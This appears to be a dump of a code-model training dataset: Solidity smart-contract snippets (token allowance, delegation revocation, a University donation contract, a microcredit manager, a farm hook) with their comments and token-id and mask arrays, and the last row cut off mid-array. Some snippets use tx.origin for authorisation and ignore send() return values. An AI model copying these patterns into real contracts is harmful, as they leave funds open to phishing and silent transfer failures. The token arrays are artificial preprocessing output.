file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
./full_match/4/0x511739380fb9C5b985d08B5637ba732cAB3D4cCC/sources/contracts/TRAVELLSMART.sol | * @dev See {IBEP20-allowance}./ | function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
| 660,690 | [
1,
9704,
288,
45,
5948,
52,
3462,
17,
5965,
1359,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1699,
1359,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
3849,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
389,
5965,
6872,
63,
8443,
6362,
87,
1302,
264,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.13;
//SPDX-License-Identifier: MIT
import "./CaveatEnforcer.sol";
import "../Delegatable.sol";
contract RevocationEnforcer is CaveatEnforcer, Delegatable("CaveatEnforcer", "1") {
mapping(bytes32 => bool) isRevoked;
function enforceCaveat(
bytes calldata terms,
Transaction calldata transaction,
bytes32 delegationHash
) public override returns (bool) {
require(!isRevoked[delegationHash], "Delegation has been revoked");
return true;
}
function revokeDelegation(SignedDelegation calldata signedDelegation) public {
address signer = verifyDelegationSignature(signedDelegation);
address sender = _msgSender();
require(signer == sender, "Only the signer can revoke a delegation");
bytes32 delegationHash = GET_SIGNEDDELEGATION_PACKETHASH(signedDelegation);
isRevoked[delegationHash] = true;
}
/**
* This is boilerplate that must be added to any Delegatable contract if it also inherits
* from another class that also implements _msgSender().
*/
function _msgSender () internal view override(Delegatable) returns (address sender) {
if(msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
}
| * This is boilerplate that must be added to any Delegatable contract if it also inherits from another class that also implements _msgSender()./ Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. | function _msgSender () internal view override(Delegatable) returns (address sender) {
if(msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
sender = msg.sender;
}
return sender;
}
| 12,545,769 | [
1,
2503,
353,
800,
2895,
994,
716,
1297,
506,
3096,
358,
1281,
24117,
8163,
6835,
309,
518,
2546,
24664,
628,
4042,
667,
716,
2546,
4792,
389,
3576,
12021,
7675,
19,
4444,
326,
3847,
1731,
2076,
628,
3778,
598,
326,
1758,
603,
326,
2612,
4200,
1731,
16,
471,
3066,
5348,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
389,
3576,
12021,
1832,
2713,
1476,
3849,
12,
15608,
8163,
13,
1135,
261,
2867,
5793,
13,
288,
203,
565,
309,
12,
3576,
18,
15330,
422,
1758,
12,
2211,
3719,
288,
203,
1377,
1731,
3778,
526,
273,
1234,
18,
892,
31,
203,
1377,
2254,
5034,
770,
273,
1234,
18,
892,
18,
2469,
31,
203,
1377,
19931,
288,
203,
3639,
5793,
519,
471,
12,
81,
945,
12,
1289,
12,
1126,
16,
770,
13,
3631,
374,
5297,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
9460,
18217,
13,
203,
1377,
289,
203,
1377,
5793,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
565,
327,
5793,
31,
203,
225,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x882b3cae988e08f0CAEbA6261ACA90f2c1f0aE67/sources/project_/src/contracts/PrettyFaces.sol | if OpenSea's ERC721 Proxy Address is detected, auto-return true for Polygon's Mumbai testnet, use 0xff7Ca10aF37178BdD056628eF42fD7F799fAc77c | function isApprovedForAll(address _owner, address _operator)
public
view
override(ERC721, IERC721)
returns (bool isOperator)
{
if (_operator == address(0x58807baD0B376efc12F5AD86aAc70E78ed67deaE)) {
return true;
}
}
| 5,609,536 | [
1,
430,
3502,
1761,
69,
1807,
4232,
39,
27,
5340,
7659,
5267,
353,
8316,
16,
3656,
17,
2463,
638,
364,
12681,
1807,
490,
3592,
10658,
1842,
2758,
16,
999,
374,
5297,
27,
23508,
2163,
69,
42,
6418,
4033,
28,
38,
72,
40,
20,
4313,
26,
6030,
73,
42,
9452,
74,
40,
27,
42,
27,
2733,
74,
9988,
4700,
71,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
353,
31639,
1290,
1595,
12,
2867,
389,
8443,
16,
1758,
389,
9497,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
3849,
12,
654,
39,
27,
5340,
16,
467,
654,
39,
27,
5340,
13,
203,
3639,
1135,
261,
6430,
353,
5592,
13,
203,
565,
288,
203,
3639,
309,
261,
67,
9497,
422,
1758,
12,
20,
92,
8204,
3672,
27,
12124,
40,
20,
38,
6418,
26,
73,
7142,
2138,
42,
25,
1880,
5292,
69,
9988,
7301,
41,
8285,
329,
9599,
323,
69,
41,
3719,
288,
203,
5411,
327,
638,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "hardhat/console.sol";
interface IUniversityFactory {
function parameters()
external
view
returns (
address factory,
string calldata name,
string calldata introduce
);
function addrToUniversity(address) external view returns (uint);
}
// 大学合约
contract University is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public factory;
string public name;
string public introduce;
struct Donate {
address owner;
uint startBlockNumber;
uint endBlockNumber;
uint amount;
}
Donate[] public donates;
uint public allDonate;
uint public allMatchDonation;
// todo
// address[] financingTools;
mapping(uint => uint) public idToAllDonate;
constructor() public {
(factory, name, introduce) = IUniversityFactory(msg.sender).parameters();
}
function createDonate(
uint _startBlockNumber,
uint _endBlockNumber
)
external
{
// new FinancingTool
donates.push(Donate({
owner: tx.origin,
startBlockNumber: _startBlockNumber,
endBlockNumber: _endBlockNumber,
amount: 0
}));
}
// todo
// function getCurrentDonationAddress
// function getCurrentDonationRoundNumber => financingTools.length
function donate(uint _id, address _erc20, uint _amount) external payable {
require(block.number <= donates[_id].endBlockNumber, 'donate has over');
uint amount;
if (msg.value > 0) {
amount = msg.value;
} else {
IERC20(_erc20).safeTransferFrom(msg.sender, address(this), _amount);
amount = _amount;
}
donates[_id].amount = donates[_id].amount.add(amount);
uint uniId = IUniversityFactory(factory).addrToUniversity(address(this));
idToAllDonate[uniId] = idToAllDonate[uniId].add(amount);
// todo
// financingTool.deposit(amount);
}
// delete me
// uint _amount
function withdrawDonate(uint _id, address _erc20) external {
require(block.number > donates[_id].endBlockNumber, 'donate has not over');
require(donates[_id].owner == tx.origin, 'no auth access');
require(donates[_id].amount > 0, 'no token can withdraw');
// IERC20(_erc20).safeTransfer(donates[_id].owner, donates[_id].amount);
payable(donates[_id].owner).send(donates[_id].amount);
donates[_id].amount = 0;
}
}
| delete me uint _amount IERC20(_erc20).safeTransfer(donates[_id].owner, donates[_id].amount); | function withdrawDonate(uint _id, address _erc20) external {
require(block.number > donates[_id].endBlockNumber, 'donate has not over');
require(donates[_id].owner == tx.origin, 'no auth access');
require(donates[_id].amount > 0, 'no token can withdraw');
payable(donates[_id].owner).send(donates[_id].amount);
donates[_id].amount = 0;
}
| 1,058,131 | [
1,
3733,
1791,
2254,
389,
8949,
467,
654,
39,
3462,
24899,
12610,
3462,
2934,
4626,
5912,
12,
19752,
815,
63,
67,
350,
8009,
8443,
16,
2727,
815,
63,
67,
350,
8009,
8949,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
598,
9446,
22293,
340,
12,
11890,
389,
350,
16,
1758,
389,
12610,
3462,
13,
3903,
288,
203,
3639,
2583,
12,
2629,
18,
2696,
405,
2727,
815,
63,
67,
350,
8009,
409,
1768,
1854,
16,
296,
19752,
340,
711,
486,
1879,
8284,
203,
3639,
2583,
12,
19752,
815,
63,
67,
350,
8009,
8443,
422,
2229,
18,
10012,
16,
296,
2135,
1357,
2006,
8284,
203,
3639,
2583,
12,
19752,
815,
63,
67,
350,
8009,
8949,
405,
374,
16,
296,
2135,
1147,
848,
598,
9446,
8284,
203,
203,
3639,
8843,
429,
12,
19752,
815,
63,
67,
350,
8009,
8443,
2934,
4661,
12,
19752,
815,
63,
67,
350,
8009,
8949,
1769,
203,
3639,
2727,
815,
63,
67,
350,
8009,
8949,
273,
374,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/44787/0x81F24e822142216C1A0dEbca17cA952A6C0C1bEb/sources/contracts/microcredit/MicrocreditImplementation.sol | * @notice Changes the borrowers manager address @dev This method doesn't change anything on the contract state, it just emits events to be used by the off-chain system @param _borrowerAddresses address of the borrowers @param _managerAddress address of the new manager/ | function changeManager(address[] memory _borrowerAddresses, address _managerAddress) external override onlyManagers {
uint256 _index;
require(_managerList.contains(_managerAddress), "Microcredit: invalid manager address");
for(_index = 0; _index < _borrowerAddresses.length; _index++) {
require(_walletList.contains(_borrowerAddresses[_index]), "Microcredit: invalid borrower address");
emit ManagerChanged(_borrowerAddresses[_index], _managerAddress);
}
}
| 13,253,943 | [
1,
7173,
326,
29759,
414,
3301,
1758,
225,
1220,
707,
3302,
1404,
2549,
6967,
603,
326,
6835,
919,
16,
518,
2537,
24169,
2641,
358,
506,
1399,
635,
326,
3397,
17,
5639,
2619,
225,
389,
70,
15318,
264,
7148,
1758,
434,
326,
29759,
414,
225,
389,
4181,
1887,
1758,
434,
326,
394,
3301,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
2549,
1318,
12,
2867,
8526,
3778,
389,
70,
15318,
264,
7148,
16,
1758,
389,
4181,
1887,
13,
3903,
3849,
1338,
17570,
288,
203,
3639,
2254,
5034,
389,
1615,
31,
203,
3639,
2583,
24899,
4181,
682,
18,
12298,
24899,
4181,
1887,
3631,
315,
13617,
20688,
30,
2057,
3301,
1758,
8863,
203,
203,
3639,
364,
24899,
1615,
273,
374,
31,
389,
1615,
411,
389,
70,
15318,
264,
7148,
18,
2469,
31,
389,
1615,
27245,
288,
203,
5411,
2583,
24899,
19177,
682,
18,
12298,
24899,
70,
15318,
264,
7148,
63,
67,
1615,
65,
3631,
315,
13617,
20688,
30,
2057,
29759,
264,
1758,
8863,
203,
5411,
3626,
8558,
5033,
24899,
70,
15318,
264,
7148,
63,
67,
1615,
6487,
389,
4181,
1887,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0xAe76ceCa5904B4B26ed91C7174a94E7053Bd3a26/sources/ElkFarmFactory_flat.sol | @dev Internal hook called before withdrawing (in the withdraw() function). @_account withdrawer address @_amount amount being withdrawn @return amount to withdraw (may be changed by the hook)/ | function _beforeWithdraw(address /*_account*/, uint256 _amount) internal virtual returns(uint256) { return _amount; }
| 7,167,715 | [
1,
3061,
3953,
2566,
1865,
598,
9446,
310,
261,
267,
326,
598,
9446,
1435,
445,
2934,
24294,
4631,
598,
9446,
264,
1758,
24294,
8949,
3844,
3832,
598,
9446,
82,
327,
3844,
358,
598,
9446,
261,
24877,
506,
3550,
635,
326,
3953,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
5771,
1190,
9446,
12,
2867,
1748,
67,
4631,
5549,
16,
2254,
5034,
389,
8949,
13,
2713,
5024,
1135,
12,
11890,
5034,
13,
288,
327,
389,
8949,
31,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x87E8FEB7A28f55f9ae9aBE0a426EB3aF55fa1910/sources/Untitled.sol | Normalize sell amount | _amount = _amount.mul(1e18).div(10**tokenList[0].decimals);
| 8,291,436 | [
1,
14380,
357,
80,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
